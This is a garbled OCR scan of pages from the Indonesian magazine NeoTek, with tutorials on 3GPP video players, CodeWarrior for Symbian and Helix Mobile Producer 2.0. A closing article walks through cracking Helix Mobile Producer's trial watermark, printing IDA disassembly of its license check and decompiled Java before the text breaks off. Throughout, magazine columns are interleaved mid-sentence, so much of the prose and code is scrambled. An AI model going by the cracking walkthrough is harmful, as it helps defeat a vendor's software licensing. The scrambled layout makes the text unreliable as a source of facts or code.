Gambar 2. RealOne Player yang tersedia
RealOne Player telah dimasukkan ke
adalah untuk untuk Nokia 9210 dan 7650.
dalam ROM (drive Z:).

Gambar 1. Download dari situs RealNetwork Gambar 2. RealOne Player yang tersedia adalah untuk untuk Nokia 9210 dan 7650.

Vol. IV No. 02 NeoTek 9


NeoStart

M O B I LE M E D IA
Player Format 3GPP di PC
Belum punya handphone dengan Symbian OS 6 untuk mem-playback video dengan format 3GPP?
Gunakan saja Platform4 PC Player atau QuickTime Player + 3GPP Component pada PC anda.

EBELUMNYA, PENULIS TELAH Platform4 PC Player


S mengulas Nokia Multimedia Platform4 PC Player dibuat oleh Philips,
Converter 2.0 (NeoTek III/11)
sebuah perusahaan elektronika terke-
dan juga Helix Mobile Producer 2.0 muka dari Eropa. Untuk men-download-
(pada artikel di bagian lain edisi ini) nya, Anda bisa menuju ke situs Philips
yang memiliki kemampuan mengkon- Digital Networks
versi format video ke format 3GPP (sa-
lah satu format video yang bisa di-play- http://www.digitalnetworks.philips.com
back pada ponsel yang memiliki apli- pada bagian MP4NET pilih Downloads.
kasi video player, seperti Nokia 3650). Seperti terlihat pada Gambar 1, terda-
Bagaimana apabila anda belum mem- pat bahwa ada dua jenis player yang
punyai ponsel Nokia 7650 ataupun 3650? disediakan, yaitu untuk PocketPC
2002 dan untuk PC.
Pada PC, selain mem-playback hasil
konversi tetap menggunakan Nokia Jika Anda tidak mau repot, Anda bisa
Multimedia Converter 2.0, anda dapat langsung men-download Platform4 PC
juga menggunakan player khusus pada Player pada URL berikut:
PC yang dapat mem-playback file http://www.digitalnetworks.philips.co Gambar 2. Tampilan minimalis dari
dengan format 3GPP ini. m/assets/downloadablefile/Platform4_ Platform4 PC Player dari Philips.
Pada tulisan ini, penulis me-review dua Player_for_PC_3.0(1)-1279.zip
aplikasi yang memiliki kemampuan Untuk proses instalasinya, Anda ting- Ada sesuatu yang menarik saat kita
untuk mem-playback format 3GPP. gal mengikuti petunjuk yang ada. menjalankan Platform4 PC Player, yaitu
Platform4 PC Player menggunakan
design yang minimalis (lihat Gambar 2)
Kita tidak menemukan menu-menu
yang lazimnya kita temui pada multi-
media player pada umumnya, seperti
menu untuk membuka file yang akan
di-playback, pengaturan setting, dan
lain-lain.

Gambar 3. Klik kanan pada bagian screen


Gambar 1. Download dari situs Philips Digital Network. player ini akan menampilkan menu.

10 NeoTek Vol. IV No. 02


NeoStart

Hasil pengujian menunjukkan bahwa


QuickTime Player kurang baik mem-
playback format 3GPP (termasuk bebe-
rapa format multimedia lainnya) pada
OS MS Windows 98. Hal itu diseba-
bkan suara yang dihasilkan terkadang
terputus-putus saat playback. Namun,
saat penulis mencobanya pada OS MS
Windows 2000, hal itu tidak terjadi.
Sayangnya, tidak semua file berformat
3GPP dapat di-playback oleh QuickTime
Player. Akan muncul pernyataan se-
perti pada Gambar 6, untuk file ber-
format 3GPP yang tidak dapat di-
playback.
Untuk mengetahui suatu file dapat di-

Gambar 6. Tidak semua file .3GP dapat di-


playback oleh QuickTime.
Gambar 4. Download QuickTime versi mutakhir yang kini mendukung berbagai jenis format
video, bukan lagi hanya format .MOV
playback oleh QuickTime Player sebe-
Untuk memperoleh menu tersebut
narnya cukup mudah, yaitu jika kita
mudah, yaitu pada bagian screen kita
melihat sebuah player disebelah kiri
klik kanan, maka menu pop-up akan
(Show Preview aktif) saat memilih file
muncul (lihat Gambar 3).
tersebut (Gambar 7).
Dari hasil pengujian, Platform4 PC
Selain format 3GPP, cukup banyak
Player mampu mem-playback format
format multimedia yang didukung
3GPP dengan baik, baik yang dihasil-
oleh QuickTime Player, asalkan ter-
kan oleh Nokia Multimedia Converter
sedia plug-in-nya. Beberapa format
2.0 maupun Helix Mobile Producer 2.0.
multimedia yang dapat di-playback
Selain format 3GPP, Platform4 PC Pla- oleh QuickTime Player adalah: AMR,
yer mampu mem-playback format mul- AU, AVI, MIDI, MOV, MP3, MPEG-
timedia lainnya seperti: AMR, MP3, 1, MPEG-4, WAV, dan lain-lain.
MPEG-4, SMIL, dan SDP. Seperti halnya format 3GPP, tidak se-
mua file berformat AMR dapat di-
QuickTime Player + 3GPP Component
playback oleh QuickTime Player.
Seperti kita ketahui, QuickTime Player Gambar 5. QuickTime.
dulu hanya ditujukan untuk mem-play-
back format MOV. Namun pada versi berlangsung. Karena hasil
terbarunya (yaitu versi 6.3), image download dalam format ZIP,
seperti itu sepertinya ingin dihilang- ekstrak file
kan, karena tampaknya QuickTime QuickTimeInstaller.zip
Player ingin bersaing dengan multi- terlebih dahulu sebelum
media player lainnya. Anda memulai instalasi.
QuickTime Player versi 6.3 bisa Anda Agar dapat mem-playback
peroleh pada URL berikut: format 3GPP, jangan lupa
http://www.apple.com/quicktime/dow untuk men-download 3GPP
nload/ (Gambar 4). Component
Saran penulis, pilihlah QuickTime Stand- QuickTime3GPPInstaller.exe
alone Installer karena Anda tidak perlu serta meng-install-nya.
lagi men-download komponen-kom-
ponen yang diperlukan saat instalasi Gambar 8. Tetapi QuickTime dapat memainkan banyak format lain seperti file .AMR

Vol. IV No. 02 NeoTek 11


NeoStart

M O B I LE M E D IA
CodeWarrior for Symbian v. 2.0
Pengembangan aplikasi handphone sistem operasi Symbian 7 seperti Sony Ericsson P800 atau
Nokia 6600 dapat dilakukan menggunakan bahasa pemrograman C++ dan tool yang perlu dikenali adalah
CodeWarrior dari Metrowerks. Fitrianto Halim (fitriantoh@hotmail.com) mengupasnya untuk anda.
ETELAH PADA ARTIKEL SEBELUM- kan MS Windows 98 lancar-lancar saja.
S nya kita berkenalan dengan Instalasinya cukup mudah, yaitu anda
Series 60 SDK 1.0 for Symbian tinggal mengikuti petunjuk yang ada.
OS, Nokia edition, pada artikel ini pe- Perhatikan pula bahwa aplikasi ini ha-
nulis akan mengajak Anda untuk me- nya memiki jangka waktu 15 hari se-
ngenal CodeWarrior for Symbian Per- jak di-install.
sonal v2.0. Gambar 3. Membentuk proyek baru.
Setelah proses instalasi selesai, ada baik-
Download dan Instalasi nya Anda me-restart ulang Windows.
CodeWarrior for Symbian Personal Hal ini agar perubahan pada environ-
v2.0 dapat Anda peroleh di URL: ment variable berlaku efektif.
ftp://ftp.metrowerks.com/pub/embedd Menjalankan CodeWarrior
ed/symbian/CW_SymbianOS_Person Cara penggunaannya cukup mudah.
al_V2.0.exe
Pada menu
atau dapat pula Anda peroleh pada CD
yang disertakan di majalah NeoTek. Start > Programs
Berdasarkan dokumentasinya, salah satu pilihlah
persyaratannya (requirement) adalah Metrowerks CodeWarrior >
Anda harus meng-install minimal CodeWarrior for Symbian Personal v2.0 Gambar 4. Symbian stationery wizard.
Symbian OS SDK versi 7.0 dan untuk > CodeWarrior IDE .
itu penulis telah meng-install Symbian
Untuk membentuk sebuah project baru,
OS 7 UIQ SDK (ada di CD NeoTek IV/1),
pilihlah menu
sedangkan untuk sistem operasi yang
digunakan, menurut penulis bersifat File > New...
relatif, karena yang diminta adalah MS atau bisa pula dengan shortcut
Windows 2000 atau XP atau NT 4.0
minimal Service Pack 4, tetapi ternyata Ctrl+Shift+N .
saat penulis mencobanya mengguna- Pilihlah Symbian Stationery Wizard

Gambar 5. Nama proyek dengan eks-


tensi .mcp
dan pada text box masukkan nama pro-
yek yang Anda inginkan (secara oto-
matis akan ditambahkan ekstensi .mcp
ketika menyimpan project).

Gambar 1. CodeWarrior environment variable yang terbentuk.

Gambar 2. Metrowerks CodeWarrior pada Start menu. Gambar 6. SDK yang digunakan.

12 NeoTek Vol. IV No. 02


NeoStart

Gambar 10. Masih dijalankan dalam


format console pada emulatir.

dan Anda dapat memilih antara UDEB


untuk versi debug atau UREL untuk
versi release. Pemilihan ini dapat dila-
kukan pada list box yang terdapat pada
sudut kiri atas dari project window.
Lalu, pilihlah menu Project > Run atau
atau bisa pula dengan shortcut key:
Ctrl+F5. Tampak bahwa hasilnya ma-
Gambar 7. Memilih stationery.
sih berupa console.
Untuk tampilan GUI, Anda dapat me-
milih UIQ Simple Application sebagai
project stationery. Pada gambar tam-
pak bahwa aplikasi tersebut mempu-
nyai caption Simple.
Penulis berharap, artikel ini berguna
bagi Anda yang ingin belajar mengem-
bangkan aplikasi Symbian OS berbasis
Gambar 8. Project window yangf terbuka
C++ menggunakan CodeWarrior
untuk stationery yang dipilih, dalam hal
ini HelloWorld.

Jika lokasi tempat penyimpan project


kurang sesuai dengan keinginan, Anda
bisa meng-klik tombol Set...
Selanjutnya, pilih SDK yang ingin di- Menjalankan pada Emulator
gunakan (sebagai contoh UIQ UIQ_70). Untuk menjalankannya pada emulator
Selanjutnya, pilih project stationery cukup mudah. Yang anda harus ingat
yang ingin digunakan (sebagai contoh adalah bahwa hanya platform WINSCW
HelloWorld) dan klik tombol Finish, yang dapat dijalankan pada emulator Gambar 11. Tampilan GUI pada emulator.
sehingga project window akan terbuka.

Gambar 9. Menjalankan proyek.

Vol. IV No. 02 NeoTek 13


NeoStart

M O B I LE M E D IA
Helix Mobile Producer 2.0
Helix Mobile Producer 2.0 mempunyai fasilitas jauh lebih lengkap dibandingkan Nokia Multimedia
Converter 2.0. Ikuti kupasan Fitrianto Halim (fitriantoh@hotmail.com) ini.

ETELAH KITA BERKENALAN DE- dengan benar, karena informasi ten- Sebagai catatan, selain license key un-
S ngan Nokia Multimedia Con- tang License Key akan dikirim lewat tuk HMP_Eval_Licenses.zip dan
verter 2.0 (NeoTek III/11), e-mail (catatan: informasi tentang Helix_Mobile_Producer_2.0.zip anda
kini penulis akan mengajak anda me- License Key tidak dapat langsung di- akan mendapatkan pula License Key
ngenal Helix Mobile Producer 2.0. terima, tetapi harus menunggu sek- dan installer untuk Helix Mobile Pro-
Selain dapat mengkonversi format itar saru har). Setelah Anda mengisi ducer Live 2.0 (untuk mem-broadcast
multimedia ke format AMR dan form yang tersedia, Anda dapat me- format audio dan video melalui pro-
3GPP, Helix Mobile Producer 2.0 milih lokasi server terdekat (misalkan tokol RTP). Namun, karena keterba-
juga dapat mengkonversi ke format pilih Tokyo, Japan). tasan prasarana dari penulis, maka
multimedia milik RealNetworks, penulis tidak membahasnya.
Download dan Instalasi
yaitu RealMedia. Pertama-tama buka file
Cara instalasinya cukup mudah, ha-
Helix Mobile Producer 2.0 versi trial nya sebaiknya Anda memperhatikan HMP_Eval_Licenses.zip
30 hari (jangka waktunya antara 30- System Requirements yang dibutuh- yang disisipkan pada e-mail dan ek-
60 hari) bisa di-download di: kan, seperti Operating System MS strak file -HMPROD.lic ke lokasi
http://forms.real.com/rnforms/ Windows 2000 atau MS Windows XP, yang Anda inginkan.
products/tools/mobileproducer/eval/ serta DirectX 8.1 atau di atasnya
index.html Penulis mempergunakan DirectX 9.0
(Gambar 1). yang disertakan pada CD NeoTek
Vol. III - No. 07, Apr/Mei 2003. Be-
Di sana Anda diminta untuk mengisi
berapa software dan hardware lain-
form. Yang perlu diperhatikan adalah
nya bersifat relatif.
sebaiknya anda mengisi e-mail address

Gambar 2. Buka file HMP_Eval_Licenses.zip


yang anda dapatkan lewat email.

Gambar 3. Dapatkan file -HMPROD.lic ke


lokasi yang diinginkan, misalnya ke folder
Gambar 1. Download dari situs Philips Digital Network. MyDocument.

14 NeoTek Vol. IV No. 02


NeoStart

Gambar 4. Instalasi Helix Mobile Producer 2.0

Pada bagian License file, klik tombol


Browse... untuk mendapatkan lokasi
file -HMPROD.lic.
Gambar 8. Buka file mpg yang akan dikon-
Untuk menjalankannya, double click versi pada menu File > Open Input File...
pada ikon Helix Mobile Producer yang
terdapat pada desktop. Tampilan
awalnya, bisa dilihat pada Gambar 7. File > Open Input File...
atau dapat pula dengan mengklik tom-
Konversi Format Video bol Browse.... lalu pilih file video yang
Berikut ini adalah tahapan untuk meng- akan dikonversi dan klik tombol Open.
konversi sebuah format video (seba-
Secara default, format output yang
Gambar 5. Sewaktu dimintra memasukkan gai contoh, penulis mengkonversi
digunakan akan disesuaikan dengan
license file, arahkan ke folder tempat anda video klip dari Tatu dengan judul 30
format inputnya, yaitu untuk input
menyimpan file -HMPROD.lic Minutes).
format video (mpg) akan digunakan
Pada menu, pilih default output berupa format 3GPP.

Gambar 6. Setelah instalasi selesai terdapat


icon Helix Mobile Producer pada desktop.
Double click untuk menjalankannya.
Buka file
Helix_Mobile_Producer_2.0.zip
dan jalankan program Helix Mobile
Producer 2.0 Setup.exe.
Gambar 9. Format output default.

Gambar 10. Pilihan lain yang terdapat di


bawah menu 3GPP for streaming.

Hanya, jika format default kurang


memadai, Anda dapat menggunakan
pilihan lainnya yang terdapat pada
3GPP for streaming dengan meng-
klik tanda +.
Jika dirasa masih kurang, Anda dapat
melakukan pensettingan secara ma-
nual, terutama pada tab:
Video, Adv. Video, Video filters,
Audio, Audio filters, dan Export.
Andapun dapat menyimpan (save)
hasil setting yang Anda lakukan.
Gambar 7. Tampilan awal Helix Mobile Producer 2.0

Vol. IV No. 02 NeoTek 15


NeoStart

Gambar 18. Membentuk klip.

Gambar 19. Melakukan


encoding.
Gambar 11. Info mengenai format. Gambar 15. Setelan audio.

Dalam pengujian ini, file berformat


MPEG-1 dengan ukuran file 41MB
dapat menjadi 611KB dengan memi-
lih 20k, h.263 and amr-nb (GPRS)
dan menjadi 1410KB dengan memilih
50k, h.263 and amr-nb (UMTS) pada
3GPP for streaming.
Dengan Helix Mobile Producer 2.0,
kita juga dapat mengkonversi format
multimedia ke format lainnya seperti:
Gambar 12. Setelan untuk video. Gambar 16. Setelan audio filters. 3GPP2, AMR, MP3, ISMA MPEG4,
dan tentu saja RealMedia (format mul-
timedia milik RealNetworks).
Kelebihan lain yang dimiliki Helix
Mobile Producer 2.0 adalah kita dapat
memisahkan antara format audio dan
format video (tentunya file sumber
adalah format video+audio).
Karena Helix Mobile Producer 2.0 ber-
sifat komersial, tentunya yang men-
jadi kendala adalah masalah proteksi
software. Setelah penulis mengisi kem-
Gambar 13. Setelah advanced untuk video. Gambar 17. Export type. bali form registrasi dengan maksud
untuk mendapatkan License Key
ngan Nokia Multimedia Converter 2.0, setelah jangka waktu 30 hari berlalu
yang menambahkan garis hitam. (tanpa men-download-nya), dan ke-
Helix Mobile Producer 2.0 juga dapat mudian uninstall dan install kembali
mengkonversi hanya bagian tertentu Helix Mobile Producer 2.0 (dari hasil
saja (klip). Caranya, geser slide-bar download pertama), ternyata Helix
lalu tekan tombol { sebagai penanda Mobile Producer 2.0 akan menambah-
awal, geser lagi slide-bar lalu tekan kan keterangan Helix Trial untuk
button } sebagai penanda akhir. Hal format video hasil konversi.
ini akan berakibat adanya perubahan Hanya, untuk format audio hasil kon-
pada edit box From: dan To:. Jadi tidak versi mulus-mulus saja.
Gambar 14. Setelan video filter. seperti Nokia Multimedia Converter 2.0,
yang kita hanya dapat mengatur ba-
Helix Mobile Producer 2.0 akan men- gian awal saja.
skalakan resolusi format input ke re-
solusi format output. Dalam beberapa Untuk mengatur folder dan nama file
hal, akan mengakibatkan hasilnya ti- hasil konversi (output file), Anda da-
dak proporsional (misalkan yang ta- pat mengklik tombol Save As...
dinya berbentuk lingkaran menjadi Default-nya, folder dan nama file ha-
elips). Untuk mengatasinya, dapat di- sil konversi sama dengan file sumber
pilih Crop (beri tanda centang) yang (input file) dengan perbedaan pada
terdapat pada tab Video filters, hanya ekstensi.
akan berakibat adanya bagian yang Untuk memulai konversi, Anda dapat Gambar 20. Watermark Helix Trial apabila
hilang. Jadi caranya agak berbeda de- mengklik tombol Encode. instalasi ulang bdilakukan setelah masa trial.

16 NeoTek Vol. IV No. 02


NeoStart

M O B I LE M E D IA
Cracking Helix Mobile Producer
Helix Mobile Producer 2.0 dapat di-crack agar trial version-nya tidak lagi menampilkan
watermark. Fitrianto Halim (fitriantoh@hotmail.com) membahasnya untuk anda.

NOKIA MULTIMEDIA .text:004010FC call sub_401610

B
ILA DIBANDINGKAN DENGAN
.text:00401101 lea ecx, [esp+18h+arg_104]
Converter 2.0, Helix Mobile Producer 2.0 mem- .text:00401108 push 0
punyai beberapa kelebihan. Sayangnya, Helix .text:0040110A push ecx
.text:0040110B push offset aProductmode ; "productMode"
Mobile Producer 2.0 tidaklah free. Akibatnya, saat kita .text:00401110 push offset aHmprod ; "HMPROD"
.text:00401115 call sub_401610
meminta License Key yang kedua dan seterusnya, maka .text:0040111A lea edx, [esp+28h+Filename]
akan ditambahkan watermark pada hasil encoding untuk .text:0040111E lea eax, [esp+28h+Filename]
.text:00401122 push edx
format video (3GPP, MP4, dan RealMedia). .text:00401123 lea ecx, [esp+2Ch+Filename]
.text:00401127 push eax
Pada tulisan ini, penulis akan memberikan cara meng- .text:00401128 lea edx, [esp+30h+Filename]
crack Helix Mobile Producer 2.0, sehingga watrermark .text:0040112C mov esi, ds:sprintf
.text:00401132 push ecx
tidak lagi akan ditambahkan pada hasil encoding. .text:00401133 lea eax, [esp+34h+Filename]
.text:00401137 push edx
Terus-terang, meng-crack Helix Mobile Producer 2.0 me- .text:00401138 lea ecx, [esp+38h+Filename]
miliki seni tersendiri. Hal ini disebabkan Helix Mobile .text:0040113C push eax
.text:0040113D lea edx, [esp+3Ch+Filename]
Producer 2.0 menggunakan bahasa pemrograman gado- .text:00401141 push ecx
gado, yaitu C dan Java. Oleh karena itu, penulis memper- .text:00401142 lea eax, [esp+40h+Filename]
.text:00401146 push edx
senjatai diri dengan .text:00401147 push eax
.text:00401148 lea ecx, [esp+48h+arg_8A0]
IDA (IInteractive DisAssembler) .text:0040114F push offset aSLibEes_jarSLi
"%s\\lib\\ees.jar;%s\\lib\\xercesImpl.jar;%s"...
yang bisa diperoleh pada CD NeoTek Vol. III No. 11, serta .text:00401154 push ecx
.text:00401155 call esi ; sprintf
DJ Java Decompiler. .text:00401157 add esp, 48h
.text:0040115A lea edx, [esp+8+Filename]
Karena perbedaan antara tanpa watermark dan dengan .text:0040115E lea eax, [esp+8+arg_38C]
watermark ada pada License Key, maka penulis mencoba .text:00401165
.text:00401166
push edx
push offset aS ; "%s"
mengutak-atik file -HMPROD.lic terlebih dahulu. .text:0040116B push eax
.text:0040116C call esi ; sprintf
Jika Anda perhatikan, yang memiliki watermark pada ha- .text:0040116E lea ecx, [esp+14h+Filename]
.text:00401172 lea edx, [esp+14h+Filename]
sil encoding memiliki baris berikut pada License Key: .text:00401176 push ecx
.text:00401177 lea eax, [esp+18h+Filename]
productWatermarking=true .text:0040117B push edx
.text:0040117C push eax
Untuk itu, percobaan pertama yang penulis lakukan ada- .text:0040117D lea ecx, [esp+20h+arg_184]
lah menghilangkan baris tersebut atau mengisi nilai true .text:00401184 push offset aPathSSJreBinSJ ;
"PATH=%s\\;%s\\jre\\bin\\;%s\\jre\\bin\\hotspot"...
dengan false. Sayangnya, percobaan pertama ini gagal, .text:00401189 push ecx
karena muncul pesan kesalahan seperti pada Gambar 1. .text:0040118A call esi ; sprintf
.text:0040118C lea edx, [esp+28h+arg_184]
Percobaan selanjutnya .text:00401193 push edx ; char *
.text:00401194 call ds:_putenv
Gambar 1. .text:0040119A lea eax, [esp+2Ch+Filename]
.text:0040119E lea ecx, [esp+2Ch+arg_184]
Menghilangkan atau .text:004011A5 push eax
mengubah baris license .text:004011A6 push offset aDapplication_p ; "-Dapplication.path=%s"
.text:004011AB push ecx
key tidak berhasil .text:004011AC call esi ; sprintf
mengatasi masalah .text:004011AE mov eax, [esp+38h]
.text:004011B2 lea edx, [esp+38h+arg_184]
watermark. .text:004011B9 push edx
.text:004011BA push eax
.text:004011BB push edi
.text:004011BC lea ecx, [esp+44h+arg_38C]
adalah men-ddisassemble file Helix Mobile Producer.exe .text:004011C3 push 0
.text:004011C5 lea edx, [esp+48h+arg_8A0]
selaku aplikasi Helix Mobile Producer 2.0 yang berbasis .text:004011CC push ecx
GUI dengan IDA. .text:004011CD push edx
.text:004011CE push offset aCom_envivio_zo ;
.text:004010D1 push 0 "com.envivio.zola.ZolaMain"
.text:004010D3 push offset aHmprod ; "HMPROD" .text:004011D3 call sub_403AA0
.text:004010D8 call sub_401470 .text:004011D8 add esp, 4Ch
.text:004010DD add esp, 8 .text:004011DB xor eax, eax
.text:004010E0 test eax, eax .text:004011DD pop esi
.text:004010E2 jnz loc_4011E8 .text:004011DE pop edi
.text:004010E8 push esi .text:004011DF add esp, 10C4h
.text:004010E9 push eax .text:004011E5 retn 10h
.text:004010EA lea eax, [esp+0Ch+arg_144] .text:00401250 sub_401250proc near ; CODE XREF: sub_401470+34hp
.text:004010F1 push eax .text:00401250 ; sub_401610+34hp
.text:004010F2 push offset aProducttype ; "productType" .text:00401250
.text:004010F7 push offset aHmprod ; "HMPROD"

Vol. IV No. 02 NeoTek 17


NeoStart

.text:00401250 var_460 = dword ptr -460h .text:00401331 test eax, eax


.text:00401250 var_45C = byte ptr -45Ch .text:00401333 jnz short loc_401346
.text:00401250 var_41C = byte ptr -41Ch .text:00401335 push edi
.text:00401250 Filename = word ptr -214h .text:00401336 call ds:fclose
.text:00401250 var_C = dword ptr -0Ch .text:0040133C add esp, 4
.text:00401250 var_4 = dword ptr -4 .text:0040133F xor al, al
.text:00401250 arg_4 = dword ptr 8 .text:00401341 jmp loc_40144B
.text:00401250 arg_8 = dword ptr 0Ch .text:00401346 ; -------------------------------------------------------------
.text:00401250 arg_C = dword ptr 10h .text:00401346
.text:00401250 .text:00401346 loc_401346: ; CODE XREF: sub_401250+E3hj
.text:00401250 mov eax, large fs:0 .text:00401346 lea edi, [esp+470h+var_45C]
.text:00401256 push 0FFFFFFFFh .text:0040134A or ecx, 0FFFFFFFFh
.text:00401258 push offset loc_404D4E .text:0040134D xor eax, eax
.text:0040125D push eax .text:0040134F repne scasb
.text:0040125E mov large fs:0, esp .text:00401351 not ecx
.text:00401265 sub esp, 454h .text:00401353 dec ecx
.text:0040126B push ebx .text:00401354 cmp byte ptr [esp+ecx+470h+var_460+3], 0Ah
.text:0040126C mov ebx, ds:wcscpy .text:00401359 jnz short loc_40136D
.text:00401272 push ebp .text:0040135B lea edi, [esp+470h+var_45C]
.text:00401273 mov ebp, ds:wcscat .text:0040135F or ecx, 0FFFFFFFFh
.text:00401279 push esi .text:00401362 xor eax, eax
.text:0040127A mov esi, [esp+46Ch+arg_C] .text:00401364 repne scasb
.text:00401281 test esi, esi .text:00401366 not ecx
.text:00401283 push edi .text:00401368 dec ecx
.text:00401284 jnz short loc_4012DF .text:00401369 mov byte ptr [esp+ecx+470h+var_460+3], al
.text:00401286 push 0 ; lpModuleName .text:0040136D
.text:00401288 call ds:GetModuleHandleA ; .text:0040136D loc_40136D: ; CODE XREF: sub_401250+109hj
GetModuleHandleA: .text:0040136D test esi, esi
.text:0040128E lea ecx, [esp+470h+Filename] .text:0040136F jnz short loc_40138A
.text:00401295 push 104h ; nSize .text:00401371 mov esi, [esp+470h+arg_4]
.text:0040129A push ecx ; lpFilename .text:00401378 lea ecx, [esp+470h+Filename]
.text:0040129B push eax ; hModule .text:0040137F push ecx
.text:0040129C call ds:GetModuleFileNameW ; .text:00401380 push esi
GetModuleFileNameW: .text:00401381 call ebx ; wcscpy
.text:004012A2 test eax, eax .text:00401383 push offset asc_406214 ; "\\"
.text:004012A4 jz short loc_4012C2 .text:00401388 jmp short loc_40139A
.text:004012A6 lea edx, [esp+470h+Filename] .text:0040138A ; -------------------------------------------------------------
.text:004012AD push 5Ch .text:0040138A
.text:004012AF push edx .text:0040138A loc_40138A: ; CODE XREF: sub_401250+11Fhj
.text:004012B0 call ds:wcsrchr .text:0040138A push esi
.text:004012B6 add esp, 8 .text:0040138B mov esi, [esp+474h+arg_4]
.text:004012B9 test eax, eax .text:00401392 push esi
.text:004012BB jz short loc_4012C2 .text:00401393 call ebx ; wcscpy
.text:004012BD mov word ptr [eax], 0 .text:00401395 push offset asc_406210 ; "/"
.text:004012C2 .text:0040139A
.text:004012C2 loc_4012C2: ; CODE XREF: .text:0040139A loc_40139A: ; CODE XREF: sub_401250+138hj
sub_401250+54hj .text:0040139A push esi
.text:004012C2 ` ; sub_401250+6Bhj .text:0040139B call ebp ; wcscat
.text:004012C2 lea eax, [esp+470h+Filename] .text:0040139D add esp, 10h
.text:004012C9 lea ecx, [esp+470h+var_41C] .text:004013A0 lea edx, [esp+470h+var_45C]
.text:004012CD push eax .text:004013A4 push edx
.text:004012CE push offset aS_license ; "%s\\.license" .text:004013A5 call sub_4019B0
.text:004012D3 push ecx .text:004013AA mov edi, eax
.text:004012D4 call ds:swprintf .text:004013AC push edi
.text:004012DA add esp, 0Ch .text:004013AD push esi
.text:004012DD jmp short loc_4012F6 .text:004013AE call ebp ; wcscat
.text:004012DF ; ------------------------------------------------------------- .text:004013B0 mov ebx, ds:free
.text:004012DF .text:004013B6 push edi
.text:004012DF loc_4012DF: ; CODE XREF: .text:004013B7 call ebx ; free
sub_401250+34hj .text:004013B9 mov eax, [esp+480h+var_460]
.text:004012DF lea edx, [esp+470h+var_41C] .text:004013BD push eax
.text:004012E3 push esi .text:004013BE call ds:fclose
.text:004012E4 push edx .text:004013C4 push 48h
.text:004012E5 call ebx ; wcscpy .text:004013C6 call malloc
.text:004012E7 lea eax, [esp+478h+var_41C] .text:004013CB add esp, 18h
.text:004012EB push offset a_license ; "/.license" .text:004013CE mov [esp+470h+var_460], eax
.text:004012F0 push eax .text:004013D2 xor edi, edi
.text:004012F1 call ebp ; wcscat .text:004013D4 cmp eax, edi
.text:004012F3 add esp, 10h .text:004013D6 mov [esp+470h+var_4], edi
.text:004012F6 .text:004013DD jz short loc_4013E8
.text:004012F6 loc_4012F6: ; CODE XREF: .text:004013DF mov ecx, eax
sub_401250+8Dhj .text:004013E1 call sub_401750
.text:004012F6 lea ecx, [esp+470h+var_41C] .text:004013E6 mov edi, eax
.text:004012FA push offset aR_0 ; "r" .text:004013E8
.text:004012FF push ecx .text:004013E8 loc_4013E8: ; CODE XREF: sub_401250+18Dhj
.text:00401300 call ds:_wfopen .text:004013E8 push edi
.text:00401306 mov edi, eax .text:004013E9 push esi
.text:00401308 add esp, 8 .text:004013EA mov [esp+478h+var_4], 0FFFFFFFFh
.text:0040130B test edi, edi .text:004013F5 call sub_401D10
.text:0040130D mov [esp+470h+var_460], edi .text:004013FA add esp, 8
.text:00401311 jnz short loc_40131A .text:004013FD test eax, eax
.text:00401313 xor al, al .text:004013FF jnz short loc_401435
.text:00401315 jmp loc_40144B .text:00401401 push offset byte_406898 ; int
.text:0040131A ; -------------------------------------------------------------- .text:00401406 push offset aKey ; char *
.text:0040131A .text:0040140B mov ecx, edi
.text:0040131A loc_40131A: ; CODE XREF: .text:0040140D call sub_401940
sub_401250+C1hj .text:00401412 lea ecx, [esp+470h+var_41C]
.text:0040131A mov edx, [esp+470h+arg_8] .text:00401416 mov ebp, eax
.text:00401321 push edi .text:00401418 push ecx
.text:00401322 lea eax, [esp+474h+var_45C] .text:00401419 call sub_401AD0
.text:00401326 push edx .text:0040141E add esp, 4
.text:00401327 push eax .text:00401421 mov esi, eax
.text:00401328 call ds:fgets .text:00401423 mov ecx, offset unk_406850
.text:0040132E add esp, 0Ch .text:00401428 push ebp ; char *

18 NeoTek Vol. IV No. 02


NeoStart
.text:00401429 push esi ; char * }
.text:0040142A call sub_4017F0 if(APPLICATION_PATH == null)
.text:0040142F push esi {
.text:00401430 call ebx ; free System.err.println("Failed to start: Java system property
.text:00401432 add esp, 4 \"application.path\" is not defined.");
.text:00401435 System.exit(2);
.text:00401435 loc_401435: ; CODE XREF: sub_401250+1AFhj }
.text:00401435 test edi, edi readApplicationResources();
.text:00401437 jz short loc_401449 loadUserSettings();
.text:00401439 mov ecx, edi Directories.setDirectoryName(5, APPLICATION_PATH + "/preset");
.text:0040143B call sub_401760 installEncoders();
.text:00401440 push edi ZolaGUI.main(args);
.text:00401441 call sub_403A80 }
.text:00401446 add esp, 4 catch(Throwable throwable)
.text:00401449 {
.text:00401449 loc_401449: ; CODE XREF: sub_401250+1E7hj NativeEngine.stopZolaEngine();
.text:00401449 mov al, 1 throwable.printStackTrace();
.text:0040144B }
.text:0040144B loc_40144B: ; CODE XREF: sub_401250+C5hj }
.text:0040144B ; sub_401250+F1hj
.text:0040144B mov ecx, [esp+470h+var_C] private static void readApplicationResources()
.text:00401452 pop edi {
.text:00401453 pop esi try
.text:00401454 pop ebp {
.text:00401455 pop ebx PRODUCT_BUILD_IDENTIFIER = NativeLibrary.getResource(1);
.text:00401456 mov large fs:0, ecx APPLICATION_BUILD_NUMBER = NativeLibrary.getResource(2);
.text:0040145D add esp, 460h APPLICATION_MAJOR_DOT_MINOR = NativeLibrary.getResource(3);
.text:00401463 retn BRANDING_FULL_NAME = NativeLibrary.getResource(10);
.text:00401463 sub_401250 endp BRANDING_EXT_NAME = NativeLibrary.getResource(11);
.text:00401463 PRODUCT_NAME_CODE = NativeLibrary.getResource(12);
.text:00401463 ; ------------------------------------------------------------- BRANDING_COPYRIGHT = NativeLibrary.getResource(20);
.text:00401464 align 10h BRANDING_COPYRIGHT2 = NativeLibrary.getResource(21);
AbstractParamRenderer.setWithWhiteLines(getCurrentBranding() != 10);
APPLICATION_TITLE = BRANDING_FULL_NAME +
Berdasarkan analisa yang dihasilkan IDA, tampak bahwa (BRANDING_EXT_NAME.length() <= 0 ? "" : " " + BRANDING_EXT_NAME) + "
Helix Mobile Producer 2.0 akan memeriksa license key - " + PRODUCT_BUILD_IDENTIFIER + " (build " +
berdasarkan nama file yang terdapat pada file .license. Itu APPLICATION_BUILD_NUMBER + ")" +
(APPLICATION_LICENSING_STATUS.length() <= 0 ? "" : " - " +
sebabnya kita tidak menemukan string -HMPROD.lic APPLICATION_LICENSING_STATUS);
pada tubuh program serta file license key tidaklah harus if(NativeLibrary.getLicensingStatusMessage().length() > 0)
APPLICATION_TITLE = APPLICATION_TITLE + " - " +
